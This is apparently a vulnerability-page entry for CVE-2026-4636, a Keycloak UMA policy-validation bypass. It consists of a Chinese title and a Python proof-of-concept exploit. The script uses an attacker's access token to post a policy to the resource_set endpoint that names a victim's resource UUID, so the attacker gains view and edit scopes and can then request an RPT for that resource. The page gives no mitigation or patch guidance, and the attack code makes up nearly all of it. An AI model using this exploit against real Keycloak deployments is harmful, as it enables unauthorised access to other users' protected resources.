CVE-2026-4636 Keycloak UMA策略验证绕过漏洞

import requests # Target Keycloak instance base_url = "http://target-keycloak/auth/realms/myrealm" resource_set_url = f"{base_url}/authz/protection/resource_set" access_token = "<ATTACKER_ACCESS_TOKEN_WITH_UMA_PROTECTION>" headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Scenario: Attacker creates a policy. # The URL endpoint might imply creating a policy for attacker's scope, # but the payload injects a victim's resource ID. victim_resource_id = "<VICTIM_RESOURCE_UUID>" payload = { "name": "Exploit Policy", "scopes": ["view", "edit"], # Vulnerability: The application does not verify if the attacker owns this resource_id "resources": [victim_resource_id] } response = requests.post(resource_set_url, json=payload, headers=headers) if response.status_code == 201: print("[+] Policy successfully created for victim's resource.") print("[+] Attacker can now request an RPT for this resource.") else: print(f"[-] Failed: {response.status_code}") print(response.text)